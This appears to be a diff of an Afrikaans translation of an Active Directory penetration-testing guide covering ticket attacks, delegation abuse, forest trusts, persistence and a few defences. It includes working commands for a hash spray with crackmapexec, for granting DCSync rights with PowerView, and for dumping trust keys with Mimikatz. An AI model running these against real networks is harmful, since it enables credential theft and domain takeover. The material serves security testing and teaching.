Hierdie aanval is daarop gemik om die **gebruikers NTLM-hash te gebruik om Kerberos-tickets aan te vra**, as 'n alternatief vir die algemene Pass The Hash oor die NTLM-protokol. Daarom kan dit veral **nuttig wees in netwerke waar die NTLM-protokol gedeaktiveer is** en slegs **Kerberos toegelaat word** as authentikasieprotokol.
|
||||
Hierdie aanval is daarop gemik om die **gebruikers NTLM-hash te gebruik om Kerberos-kaarte aan te vra**, as 'n alternatief vir die algemene Pass The Hash oor die NTLM-protokol. Daarom kan dit veral **nuttig wees in netwerke waar die NTLM-protokol gedeaktiveer is** en slegs **Kerberos toegelaat word** as authentiseringsprotokol.
|
||||
|
||||
{{#ref}}
|
||||
over-pass-the-hash-pass-the-key.md
|
||||
@ -255,7 +255,7 @@ over-pass-the-hash-pass-the-key.md
|
||||
|
||||
### Pass the Ticket
|
||||
|
||||
In die **Pass The Ticket (PTT)** aanvalmetode, **steel aanvallers 'n gebruiker se authentikasieticket** in plaas van hul wagwoord of hashwaardes. Hierdie gesteelde kaartjie word dan gebruik om die **gebruiker te verpersoonlik**, wat ongeoorloofde toegang tot hulpbronne en dienste binne 'n netwerk verkry.
|
||||
In die **Pass The Ticket (PTT)** aanvalmetode, **steel aanvallers 'n gebruiker se authentiseringsticket** in plaas van hul wagwoord of hashwaardes. Hierdie gesteelde kaart word dan gebruik om die gebruiker te **verpersoonlik**, wat ongeoorloofde toegang tot hulpbronne en dienste binne 'n netwerk verkry.
|
||||
|
||||
{{#ref}}
|
||||
pass-the-ticket.md
|
||||
@ -263,20 +263,20 @@ pass-the-ticket.md
|
||||
|
||||
### Kredensiale Hergebruik
|
||||
|
||||
As jy die **hash** of **wagwoord** van 'n **lokale administrateur** het, moet jy probeer om **lokaal in te teken** op ander **rekenaars** daarmee.
|
||||
As jy die **hash** of **wagwoord** van 'n **lokale administrateur** het, moet jy probeer om **lokale aanmelding** op ander **rekenaars** te doen met dit.
|
||||
```bash
|
||||
# Local Auth Spray (once you found some local admin pass or hash)
|
||||
## --local-auth flag indicate to only try 1 time per machine
|
||||
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
|
||||
```
|
||||
> [!WARNING]
|
||||
> Let daarop dat dit baie **rumoerig** is en **LAPS** dit **sal verminder**.
|
||||
> Let daarop dat dit baie **luidrugtig** is en **LAPS** dit sou **verlig**.
|
||||
|
||||
### MSSQL Misbruik & Vertroude Skakels
|
||||
|
||||
As 'n gebruiker bevoegdhede het om **MSSQL-instansies te benader**, kan hy dit gebruik om **opdragte** in die MSSQL-gasheer uit te voer (as dit as SA loop), die NetNTLM **hash** te **steel** of selfs 'n **relay** **aanval** uit te voer.\
|
||||
Ook, as 'n MSSQL-instansie vertrou word (databasis skakel) deur 'n ander MSSQL-instansie. As die gebruiker bevoegdhede oor die vertroude databasis het, sal hy in staat wees om **die vertrouensverhouding te gebruik om ook in die ander instansie navrae uit te voer**. Hierdie vertroue kan geketting word en op 'n sekere punt mag die gebruiker 'n verkeerd geconfigureerde databasis vind waar hy opdragte kan uitvoer.\
|
||||
**Die skakels tussen databasisse werk selfs oor bosvertroue.**
|
||||
**Die skakels tussen databasisse werk selfs oor woudvertroue.**
|
||||
|
||||
{{#ref}}
|
||||
abusing-ad-mssql.md
|
||||
@ -284,8 +284,8 @@ abusing-ad-mssql.md
|
||||
|
||||
### Onbeperkte Afvaardiging
|
||||
|
||||
As jy enige rekenaarobjek met die attribuut [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) vind en jy het domein bevoegdhede op die rekenaar, sal jy in staat wees om TGT's uit die geheue van elke gebruiker wat op die rekenaar aanmeld, te dump.\
|
||||
So, as 'n **Domein Admin op die rekenaar aanmeld**, sal jy in staat wees om sy TGT te dump en hom na te doen met [Pass the Ticket](pass-the-ticket.md).\
|
||||
As jy enige rekenaarobjek met die attribuut [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) vind en jy het domeinbevoegdhede op die rekenaar, sal jy in staat wees om TGT's uit die geheue van elke gebruiker wat op die rekenaar aanmeld, te dump.\
|
||||
So, as 'n **Domein Admin op die rekenaar aanmeld**, sal jy in staat wees om sy TGT te dump en hom na te boots met [Pass the Ticket](pass-the-ticket.md).\
|
||||
Dankie aan beperkte afvaardiging kan jy selfs **automaties 'n Drukbediener kompromitteer** (hopelik sal dit 'n DC wees).
|
||||
|
||||
{{#ref}}
|
||||
@ -294,8 +294,8 @@ unconstrained-delegation.md
|
||||
|
||||
### Beperkte Afvaardiging
|
||||
|
||||
As 'n gebruiker of rekenaar toegelaat word vir "Beperkte Afvaardiging" sal dit in staat wees om **enige gebruiker na te doen om toegang tot sekere dienste in 'n rekenaar te verkry**.\
|
||||
Dan, as jy die **hash** van hierdie gebruiker/rekenaar **kompromitteer**, sal jy in staat wees om **enige gebruiker** (selfs domein admins) na te doen om toegang tot sekere dienste te verkry.
|
||||
As 'n gebruiker of rekenaar toegelaat word vir "Beperkte Afvaardiging" sal dit in staat wees om **enige gebruiker na te boots om toegang tot sekere dienste in 'n rekenaar te verkry**.\
|
||||
Dan, as jy die **hash** van hierdie gebruiker/rekenaar **kompromitteer**, sal jy in staat wees om **enige gebruiker** (selfs domeinadmins) na te boots om toegang tot sekere dienste te verkry.
|
||||
|
||||
{{#ref}}
|
||||
constrained-delegation.md
|
||||
@ -303,7 +303,7 @@ constrained-delegation.md
|
||||
|
||||
### Hulpbronne-gebaseerde Beperkte Afvaardiging
|
||||
|
||||
Om **SKRYF** bevoegdheid op 'n Aktiewe Gids objek van 'n afgeleë rekenaar te hê, stel die verkryging van kode-uitvoering met **verhoogde bevoegdhede** in:
|
||||
Om **WRITE** bevoegdheid op 'n Aktiewe Directory objek van 'n afgeleë rekenaar te hê, stel die verkryging van kode-uitvoering met **verhoogde bevoegdhede** moontlik:
|
||||
|
||||
{{#ref}}
|
||||
resource-based-constrained-delegation.md
|
||||
@ -327,7 +327,7 @@ printers-spooler-service-abuse.md
|
||||
|
||||
### Derdeparty sessies misbruik
|
||||
|
||||
As **ander gebruikers** die **gekompromitteerde** masjien **benader**, is dit moontlik om **geloofsbriewe uit die geheue te versamel** en selfs **signale in hul prosesse in te spuit** om hulle na te doen.\
|
||||
As **ander gebruikers** die **gekompromitteerde** masjien **benader**, is dit moontlik om **geloofsbriewe uit die geheue te versamel** en selfs **beacons in hul prosesse in te spuit** om hulle na te boots.\
|
||||
Gewoonlik sal gebruikers die stelsel via RDP benader, so hier is hoe om 'n paar aanvalle op derdeparty RDP-sessies uit te voer:
|
||||
|
||||
{{#ref}}
|
||||
@ -336,7 +336,7 @@ rdp-sessions-abuse.md
|
||||
|
||||
### LAPS
|
||||
|
||||
**LAPS** bied 'n stelsel vir die bestuur van die **lokale Administrateur wagwoord** op domein-verbonden rekenaars, wat verseker dat dit **randomiseer**, uniek is, en gereeld **verander**. Hierdie wagwoorde word in Aktiewe Gids gestoor en toegang word deur ACLs slegs aan gemagtigde gebruikers beheer. Met voldoende bevoegdhede om toegang tot hierdie wagwoorde te verkry, word dit moontlik om na ander rekenaars te pivot.
|
||||
**LAPS** bied 'n stelsel vir die bestuur van die **lokale Administrateur wagwoord** op domein-verbonden rekenaars, wat verseker dat dit **randomiseer**, uniek is, en gereeld **verander**. Hierdie wagwoorde word in Aktiewe Directory gestoor en toegang word deur ACLs slegs aan gemagtigde gebruikers beheer. Met voldoende bevoegdhede om toegang tot hierdie wagwoorde te verkry, word dit moontlik om na ander rekenaars te pivot.
|
||||
|
||||
{{#ref}}
|
||||
laps.md
|
||||
@ -350,9 +350,9 @@ laps.md
|
||||
ad-certificates/certificate-theft.md
|
||||
{{#endref}}
|
||||
|
||||
### Sertifikaat Sjablone Misbruik
|
||||
### Sertifikaat Templates Misbruik
|
||||
|
||||
As **kwetsbare sjablone** geconfigureer is, is dit moontlik om hulle te misbruik om bevoegdhede te verhoog:
|
||||
As **kwetsbare templates** geconfigureer is, is dit moontlik om hulle te misbruik om bevoegdhede te verhoog:
|
||||
|
||||
{{#ref}}
|
||||
ad-certificates/domain-escalation.md
|
||||
@ -391,27 +391,27 @@ Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
|
||||
Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync
|
||||
```
|
||||
|
||||
### Silwer Kaart
|
||||
### Silwer Tiket
|
||||
|
||||
Die **Silwer Kaart aanval** skep 'n **legitieme Ticket Granting Service (TGS) kaart** vir 'n spesifieke diens deur die **NTLM hash** te gebruik (byvoorbeeld, die **hash van die PC rekening**). Hierdie metode word gebruik om **toegang tot die diensbevoegdhede** te verkry.
|
||||
Die **Silwer Tiket aanval** skep 'n **legitieme Tiket Granting Service (TGS) tikette** vir 'n spesifieke diens deur die **NTLM hash** te gebruik (byvoorbeeld, die **hash van die PC rekening**). Hierdie metode word gebruik om **toegang tot die diensbevoegdhede** te verkry.
|
||||
|
||||
{{#ref}}
|
||||
silver-ticket.md
|
||||
{{#endref}}
|
||||
|
||||
### Goue Kaart
|
||||
### Goue Tiket
|
||||
|
||||
'n **Goue Kaart aanval** behels 'n aanvaller wat toegang verkry tot die **NTLM hash van die krbtgt rekening** in 'n Aktiewe Gids (AD) omgewing. Hierdie rekening is spesiaal omdat dit gebruik word om alle **Ticket Granting Tickets (TGTs)** te teken, wat noodsaaklik is vir autentisering binne die AD netwerk.
|
||||
'n **Goue Tiket aanval** behels 'n aanvaller wat toegang verkry tot die **NTLM hash van die krbtgt rekening** in 'n Aktiewe Directory (AD) omgewing. Hierdie rekening is spesiaal omdat dit gebruik word om alle **Ticket Granting Tickets (TGTs)** te teken, wat noodsaaklik is vir autentisering binne die AD netwerk.
|
||||
|
||||
Sodra die aanvaller hierdie hash verkry, kan hulle **TGTs** vir enige rekening wat hulle kies skep (Silwer kaart aanval).
|
||||
Sodra die aanvaller hierdie hash verkry, kan hulle **TGTs** vir enige rekening wat hulle kies skep (Silwer tiketaanval).
|
||||
|
||||
{{#ref}}
|
||||
golden-ticket.md
|
||||
{{#endref}}
|
||||
|
||||
### Diamant Kaart
|
||||
### Diamant Tiket
|
||||
|
||||
Hierdie is soos goue kaarte wat op 'n manier vervals is wat **algemene goue kaart opsporingsmeganismes omseil**.
|
||||
Hierdie is soos goue tikette wat op 'n manier vervals is wat **algemene goue tikette opsporingsmeganismes omseil**.
|
||||
|
||||
{{#ref}}
|
||||
diamond-ticket.md
|
||||
@ -435,7 +435,7 @@ ad-certificates/domain-persistence.md
|
||||
|
||||
### AdminSDHolder Groep
|
||||
|
||||
Die **AdminSDHolder** objek in Aktiewe Gids verseker die sekuriteit van **bevoegde groepe** (soos Domein Admins en Enterprise Admins) deur 'n standaard **Toegangsbeheerlys (ACL)** oor hierdie groepe toe te pas om ongewenste veranderinge te voorkom. egter, hierdie kenmerk kan misbruik word; as 'n aanvaller die AdminSDHolder se ACL verander om volle toegang aan 'n gewone gebruiker te gee, verkry daardie gebruiker uitgebreide beheer oor alle bevoegde groepe. Hierdie sekuriteitsmaatreël, wat bedoel is om te beskerm, kan dus omgekeerd werk, wat ongewenste toegang toelaat tensy dit noukeurig gemonitor word.
|
||||
Die **AdminSDHolder** objek in Aktiewe Directory verseker die sekuriteit van **bevoegde groepe** (soos Domein Admins en Enterprise Admins) deur 'n standaard **Toegangsbeheerlys (ACL)** oor hierdie groepe toe te pas om ongeoorloofde veranderinge te voorkom. Hierdie kenmerk kan egter misbruik word; as 'n aanvaller die AdminSDHolder se ACL aanpas om volle toegang aan 'n gewone gebruiker te gee, kry daardie gebruiker uitgebreide beheer oor al die bevoegde groepe. Hierdie sekuriteitsmaatreël, wat bedoel is om te beskerm, kan dus omgekeerd werk, wat ongeoorloofde toegang toelaat tensy dit noukeurig gemonitor word.
|
||||
|
||||
[**Meer inligting oor AdminDSHolder Groep hier.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
|
||||
|
||||
@ -449,7 +449,7 @@ dsrm-credentials.md
|
||||
|
||||
### ACL Persistensie
|
||||
|
||||
Jy kan **sekere spesiale bevoegdhede** aan 'n **gebruiker** oor sekere spesifieke domeinobjekte gee wat die gebruiker sal laat **bevoegdhede in die toekoms verhoog**.
|
||||
Jy kan **spesiale bevoegdhede** aan 'n **gebruiker** oor sekere spesifieke domeinobjekte gee wat die gebruiker sal laat **bevoegdhede in die toekoms verhoog**.
|
||||
|
||||
{{#ref}}
|
||||
acl-persistence-abuse/
|
||||
@ -465,7 +465,7 @@ security-descriptors.md
|
||||
|
||||
### Skelet Sleutel
|
||||
|
||||
Verander **LSASS** in geheue om 'n **universale wagwoord** te vestig, wat toegang tot alle domeinrekeninge verleen.
|
||||
Verander **LSASS** in geheue om 'n **universele wagwoord** te vestig, wat toegang tot alle domeinrekeninge verleen.
|
||||
|
||||
{{#ref}}
|
||||
skeleton-key.md
|
||||
@ -491,22 +491,22 @@ dcshadow.md
|
||||
|
||||
### LAPS Persistensie
|
||||
|
||||
Voorheen het ons bespreek hoe om bevoegdhede te verhoog as jy **voldoende toestemming het om LAPS wagwoorde te lees**. egter, hierdie wagwoorde kan ook gebruik word om **persistensie te handhaaf**.\
|
||||
Voorheen het ons bespreek hoe om bevoegdhede te verhoog as jy **genoeg toestemming het om LAPS wagwoorde te lees**. Hierdie wagwoorde kan egter ook gebruik word om **persistensie te handhaaf**.\
|
||||
Kyk:
|
||||
|
||||
{{#ref}}
|
||||
laps.md
|
||||
{{#endref}}
|
||||
|
||||
## Bos Bevoegdheid Verhoog - Domein Vertroue
|
||||
## Woud Bevoegdheid Verhoging - Domein Vertroue
|
||||
|
||||
Microsoft beskou die **Bos** as die sekuriteitsgrens. Dit impliseer dat **die kompromittering van 'n enkele domein moontlik kan lei tot die hele Bos wat gecompromitteer word**.
|
||||
Microsoft beskou die **Woud** as die sekuriteitsgrens. Dit impliseer dat **die kompromittering van 'n enkele domein moontlik kan lei tot die hele Woud wat gecompromitteer word**.
|
||||
|
||||
### Basiese Inligting
|
||||
|
||||
'n [**domein vertroue**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) is 'n sekuriteitsmeganisme wat 'n gebruiker van een **domein** in staat stel om toegang tot hulpbronne in 'n ander **domein** te verkry. Dit skep essensieel 'n skakel tussen die autentiseringstelsels van die twee domeine, wat autentiseringverifikasies naatloos laat vloei. Wanneer domeine 'n vertroue opstel, ruil hulle spesifieke **sleutels** uit en hou dit binne hul **Domein Beheerders (DCs)**, wat noodsaaklik is vir die integriteit van die vertroue.
|
||||
|
||||
In 'n tipiese scenario, as 'n gebruiker 'n diens in 'n **vertroude domein** wil benader, moet hulle eers 'n spesiale kaart wat bekend staan as 'n **inter-realm TGT** van hul eie domein se DC aan vra. Hierdie TGT is versleuteld met 'n gedeelde **sleutel** wat albei domeine ooreengekom het. Die gebruiker bied dan hierdie TGT aan die **DC van die vertroude domein** aan om 'n dienskaart (**TGS**) te verkry. Na suksesvolle validasie van die inter-realm TGT deur die vertroude domein se DC, stel dit 'n TGS uit, wat die gebruiker toegang tot die diens verleen.
|
||||
In 'n tipiese scenario, as 'n gebruiker 'n diens in 'n **vertroude domein** wil benader, moet hulle eers 'n spesiale tikette aan vra wat bekend staan as 'n **inter-realm TGT** van hul eie domein se DC. Hierdie TGT is versleuteld met 'n gedeelde **sleutel** wat albei domeine ooreengekom het. Die gebruiker bied dan hierdie TGT aan die **DC van die vertroude domein** aan om 'n diens tikette (**TGS**) te verkry. Na suksesvolle validasie van die inter-realm TGT deur die vertroude domein se DC, stel dit 'n TGS uit, wat die gebruiker toegang tot die diens verleen.
|
||||
|
||||
**Stappe**:
|
||||
|
||||
@ -520,18 +520,18 @@ In 'n tipiese scenario, as 'n gebruiker 'n diens in 'n **vertroude domein** wil
|
||||
|
||||
### Verskillende vertroue
|
||||
|
||||
Dit is belangrik om op te let dat **'n vertroue 1 rigting of 2 rigtings kan wees**. In die 2 rigtings opsies, sal albei domeine mekaar vertrou, maar in die **1 rigting** vertrouensverhouding sal een van die domeine die **vertroude** en die ander die **vertrouende** domein wees. In die laaste geval, **sal jy slegs in staat wees om toegang tot hulpbronne binne die vertrouende domein van die vertroude een te verkry**.
|
||||
Dit is belangrik om op te let dat **'n vertroue 1 rigting of 2 rigtings kan wees**. In die 2 rigtings opsies, sal albei domeine mekaar vertrou, maar in die **1 rigting** vertrou verhouding sal een van die domeine die **vertroude** en die ander die **vertrouende** domein wees. In die laaste geval, **sal jy slegs in staat wees om toegang tot hulpbronne binne die vertrouende domein van die vertroude een te verkry**.
|
||||
|
||||
As Domein A Domein B vertrou, is A die vertrouende domein en B die vertroude een. Boonop, in **Domein A**, sal dit 'n **Uitgaande vertroue** wees; en in **Domein B**, sal dit 'n **Inkomende vertroue** wees.
|
||||
As Domein A Domein B vertrou, is A die vertrouende domein en B is die vertroude een. Boonop, in **Domein A**, sal dit 'n **Uitgaande vertroue** wees; en in **Domein B**, sal dit 'n **Inkomende vertroue** wees.
|
||||
|
||||
**Verskillende vertrouende verhoudings**
|
||||
|
||||
- **Ouers-Kind Vertroue**: Dit is 'n algemene opstelling binne dieselfde bos, waar 'n kinderdomein outomaties 'n twee-rigting transitive vertroue met sy ouerdomein het. Essensieel beteken dit dat autentisering versoeke naatloos tussen die ouer en die kind kan vloei.
|
||||
- **Kruiskoppel Vertroue**: Genoem "kortpad vertroue," hierdie word tussen kinderdomeine gevestig om verwysingsprosesse te versnel. In komplekse bosse moet autentisering verwysings tipies tot die boswortel reis en dan af na die teikendomein. Deur kruiskoppels te skep, word die reis verkort, wat veral voordelig is in geografies verspreide omgewings.
|
||||
- **Buitelandse Vertroue**: Hierdie word tussen verskillende, nie-verwante domeine opgestel en is nie-transitief van aard. Volgens [Microsoft se dokumentasie](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), is buitelandse vertroue nuttig vir toegang tot hulpbronne in 'n domein buite die huidige bos wat nie met 'n bosvertroue verbind is nie. Sekuriteit word versterk deur SID filtrering met buitelandse vertroue.
|
||||
- **Boomwortel Vertroue**: Hierdie vertroue word outomaties gevestig tussen die bosworteldomein en 'n nuut bygevoegde boomwortel. Alhoewel dit nie algemeen teëgekom word nie, is boomwortel vertroue belangrik vir die byvoeging van nuwe domeinbome aan 'n bos, wat hulle in staat stel om 'n unieke domeinnaam te handhaaf en twee-rigting transitiwiteit te verseker. Meer inligting kan in [Microsoft se gids](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>) gevind word.
|
||||
- **Bos Vertroue**: Hierdie tipe vertroue is 'n twee-rigting transitive vertroue tussen twee bosworteldomeine, wat ook SID filtrering afdwing om sekuriteitsmaatreëls te verbeter.
|
||||
- **MIT Vertroue**: Hierdie vertroue word gevestig met nie-Windows, [RFC4120-nakoming](https://tools.ietf.org/html/rfc4120) Kerberos domeine. MIT vertroue is 'n bietjie meer gespesialiseerd en dien omgewings wat integrasie met Kerberos-gebaseerde stelsels buite die Windows-ekosisteem vereis.
|
||||
- **Ouers-Kind Vertroue**: Dit is 'n algemene opstelling binne dieselfde woud, waar 'n kinderdomein outomaties 'n twee-rigting transitive vertroue met sy ouerdomein het. Essensieel beteken dit dat autentisering versoeke naatloos tussen die ouer en die kind kan vloei.
|
||||
- **Kruiskoppel Vertroue**: Bekend as "kortpad vertroue," hierdie word tussen kinderdomeine gevestig om verwysingsprosesse te versnel. In komplekse woude moet autentisering verwysings tipies tot die woudwortel reis en dan af na die teikendomein. Deur kruiskoppels te skep, word die reis verkort, wat veral voordelig is in geografies verspreide omgewings.
|
||||
- **Buitelandse Vertroue**: Hierdie word tussen verskillende, nie-verwante domeine opgestel en is nie-transitief van aard. Volgens [Microsoft se dokumentasie](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), is buitelandse vertroue nuttig vir toegang tot hulpbronne in 'n domein buite die huidige woud wat nie met 'n woudvertroue verbind is nie. Sekuriteit word versterk deur SID filtrering met buitelandse vertroue.
|
||||
- **Boomwortel Vertroue**: Hierdie vertroue word outomaties gevestig tussen die woudworteldomein en 'n nuut bygevoegde boomwortel. Alhoewel dit nie algemeen teëgekom word nie, is boomwortel vertroue belangrik vir die byvoeging van nuwe domeinbome aan 'n woud, wat hulle in staat stel om 'n unieke domeinnaam te handhaaf en twee-rigting transitiwiteit te verseker. Meer inligting kan in [Microsoft se gids](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>) gevind word.
|
||||
- **Woud Vertroue**: Hierdie tipe vertroue is 'n twee-rigting transitive vertroue tussen twee woudworteldomeine, wat ook SID filtrering afdwing om sekuriteitsmaatreëls te verbeter.
|
||||
- **MIT Vertroue**: Hierdie vertroue word gevestig met nie-Windows, [RFC4120-konforme](https://tools.ietf.org/html/rfc4120) Kerberos domeine. MIT vertroue is 'n bietjie meer gespesialiseerd en dien omgewings wat integrasie met Kerberos-gebaseerde stelsels buite die Windows-ekosisteem vereis.
|
||||
|
||||
#### Ander verskille in **vertrouende verhoudings**
|
||||
|
||||
@ -557,16 +557,16 @@ WhenChanged : 2/19/2021 1:28:00 PM
|
||||
```
|
||||
> [!WARNING]
|
||||
> Daar is **2 vertroude sleutels**, een vir _Child --> Parent_ en 'n ander een vir _Parent_ --> _Child_.\
|
||||
> Jy kan die een wat deur die huidige domein gebruik word, met:
|
||||
> U kan die een wat deur die huidige domein gebruik word, met:
|
||||
>
|
||||
> ```bash
|
||||
> Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
|
||||
> Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\mcorp$"'
|
||||
> ```
|
||||
|
||||
#### SID-History Injectie
|
||||
#### SID-History Inspuiting
|
||||
|
||||
Verhoog as Enterprise admin na die kind/ouer domein deur die vertroue met SID-History injectie te misbruik:
|
||||
Verhoog as Enterprise admin na die kind/ouer domein deur die vertroue met SID-History inspuiting te misbruik:
|
||||
|
||||
{{#ref}}
|
||||
sid-history-injection.md
|
||||
@ -574,7 +574,7 @@ sid-history-injection.md
|
||||
|
||||
#### Exploit skryfbare Konfigurasie NC
|
||||
|
||||
Om te verstaan hoe die Konfigurasie Naam Konteks (NC) misbruik kan word, is van kardinale belang. Die Konfigurasie NC dien as 'n sentrale berging vir konfigurasie data oor 'n woud in Active Directory (AD) omgewings. Hierdie data word na elke Domein Beheerder (DC) binne die woud gerepliceer, met skryfbare DC's wat 'n skryfbare kopie van die Konfigurasie NC handhaaf. Om dit te misbruik, moet 'n mens **SYSTEM regte op 'n DC** hê, verkieslik 'n kind DC.
|
||||
Om te verstaan hoe die Konfigurasie Naam Konteks (NC) misbruik kan word, is van kardinale belang. Die Konfigurasie NC dien as 'n sentrale berging vir konfigurasie data oor 'n woud in Active Directory (AD) omgewings. Hierdie data word na elke Domein Beheerder (DC) binne die woud gerepliceer, met skryfbare DC's wat 'n skryfbare kopie van die Konfigurasie NC handhaaf. Om dit te misbruik, moet 'n persoon **SYSTEM regte op 'n DC** hê, verkieslik 'n kind DC.
|
||||
|
||||
**Koppel GPO aan wortel DC webwerf**
|
||||
|
||||
@ -592,11 +592,11 @@ Gedetailleerde analise kan gevind word in die bespreking oor [Golden gMSA Trust
|
||||
|
||||
Hierdie metode vereis geduld, terwyl daar gewag word vir die skepping van nuwe bevoorregte AD-objekte. Met SYSTEM regte kan 'n aanvaller die AD Schema wysig om enige gebruiker volledige beheer oor alle klasse te gee. Dit kan lei tot ongemagtigde toegang en beheer oor nuutgeskepte AD-objekte.
|
||||
|
||||
Verdere leeswerk is beskikbaar oor [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).
|
||||
Verder leeswerk is beskikbaar oor [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).
|
||||
|
||||
**Van DA na EA met ADCS ESC5**
|
||||
|
||||
Die ADCS ESC5 kwesbaarheid teiken beheer oor Publieke Sleutel Infrastruktuur (PKI) objek om 'n sertifikaat sjabloon te skep wat autentisering as enige gebruiker binne die woud moontlik maak. Aangesien PKI objek in die Konfigurasie NC woon, stel die kompromittering van 'n skryfbare kind DC die uitvoering van ESC5-aanvalle in staat.
|
||||
Die ADCS ESC5 kwesbaarheid teiken beheer oor Publieke Sleutel Infrastruktuur (PKI) objek om 'n sertifikaat sjabloon te skep wat autentisering as enige gebruiker binne die woud moontlik maak. Aangesien PKI objek in die Konfigurasie NC woon, stel die kompromitering van 'n skryfbare kind DC die uitvoering van ESC5-aanvalle in staat.
|
||||
|
||||
Meer besonderhede hieroor kan gelees word in [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). In scenario's waar ADCS ontbreek, het die aanvaller die vermoë om die nodige komponente op te stel, soos bespreek in [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
|
||||
|
||||
@ -611,7 +611,7 @@ TrustDirection : Inbound --> Inboud trust
|
||||
WhenCreated : 2/19/2021 10:50:56 PM
|
||||
WhenChanged : 2/19/2021 10:50:56 PM
|
||||
```
|
||||
In hierdie scenario **word jou domein vertrou** deur 'n eksterne een wat jou **onbepaalde regte** oor dit gee. Jy sal moet uitvind **watter principals van jou domein watter toegang oor die eksterne domein het** en dan probeer om dit te benut:
|
||||
In hierdie scenario **word jou domein vertrou** deur 'n eksterne een wat jou **onbepaalde toestemmings** oor dit gee. Jy sal moet uitvind **watter principals van jou domein watter toegang oor die eksterne domein het** en dan probeer om dit te benut:
|
||||
|
||||
{{#ref}}
|
||||
external-forest-domain-oneway-inbound.md
|
||||
@ -629,7 +629,7 @@ TrustDirection : Outbound --> Outbound trust
|
||||
WhenCreated : 2/19/2021 10:15:24 PM
|
||||
WhenChanged : 2/19/2021 10:15:24 PM
|
||||
```
|
||||
In hierdie scenario **jou domein** is **vertrou** op sommige **privileges** aan 'n hoof van 'n **verskillende domeine**.
|
||||
In hierdie scenario **jou domein** is **vertrou** op **privileges** aan 'n hoof van 'n **verskillende domeine**.
|
||||
|
||||
Echter, wanneer 'n **domein vertrou** word deur die vertrouende domein, skep die vertroude domein **n gebruiker** met 'n **voorspelbare naam** wat as **wagwoord die vertroude wagwoord** gebruik. Dit beteken dat dit moontlik is om **toegang te verkry tot 'n gebruiker van die vertrouende domein om binne die vertroude een te kom** om dit te evalueer en te probeer om meer privileges te verhoog:
|
||||
|
||||
@ -656,13 +656,15 @@ rdp-sessions-abuse.md
|
||||
### **Selektiewe Verifikasie:**
|
||||
|
||||
- Vir inter-woudvertroue, verseker die gebruik van Selektiewe Verifikasie dat gebruikers van die twee woude nie outomaties geverifieer word nie. In plaas daarvan is eksplisiete toestemmings nodig vir gebruikers om toegang te verkry tot domeine en bedieners binne die vertrouende domein of woud.
|
||||
- Dit is belangrik om op te let dat hierdie maatreëls nie teen die uitbuiting van die skryfbare Konfigurasie Naam Konteks (NC) of aanvalle op die vertrou rekening beskerm nie.
|
||||
- Dit is belangrik om te noem dat hierdie maatreëls nie teen die uitbuiting van die skryfbare Konfigurasie Naam Konteks (NC) of aanvalle op die vertrou rekening beskerm nie.
|
||||
|
||||
[**Meer inligting oor domeinvertroue in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
|
||||
|
||||
## AD -> Azure & Azure -> AD
|
||||
|
||||
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/azure-ad-connect-hybrid-identity" %}
|
||||
{{#ref}}
|
||||
https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/azure-ad-connect-hybrid-identity
|
||||
{{#endref}}
|
||||
|
||||
## Sommige Algemene Verdedigings
|
||||
|
||||
@ -670,26 +672,26 @@ rdp-sessions-abuse.md
|
||||
|
||||
### **Defensiewe Maatreëls vir Kredensiaalbeskerming**
|
||||
|
||||
- **Domein Administrateurs Beperkings**: Dit word aanbeveel dat Domein Administrateurs slegs toegelaat word om in te log op Domein Beheerders, en hul gebruik op ander gasheer te vermy.
|
||||
- **Domein Administrateurs Beperkings**: Dit word aanbeveel dat Domein Administrateurs slegs toegelaat word om in te log op Domein Beheerders, en dat hulle nie op ander gasheer gebruik word nie.
|
||||
- **Diensrekening Privileges**: Dienste moet nie met Domein Administrateur (DA) privileges gedra word om sekuriteit te handhaaf nie.
|
||||
- **Tydelike Privilege Beperking**: Vir take wat DA privileges vereis, moet hul duur beperk word. Dit kan bereik word deur: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
|
||||
- **Tydelike Privilege Beperking**: Vir take wat DA privileges vereis, moet die duur daarvan beperk word. Dit kan bereik word deur: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
|
||||
|
||||
### **Implementering van Misleidingstegnieke**
|
||||
|
||||
- Die implementering van misleiding behels die opstelling van lokvalle, soos lokgebruikers of rekenaars, met kenmerke soos wagwoorde wat nie verval nie of as Vertrou vir Delegasie gemerk is. 'n Gedetailleerde benadering sluit in om gebruikers met spesifieke regte te skep of hulle aan hoëprivilege groepe toe te voeg.
|
||||
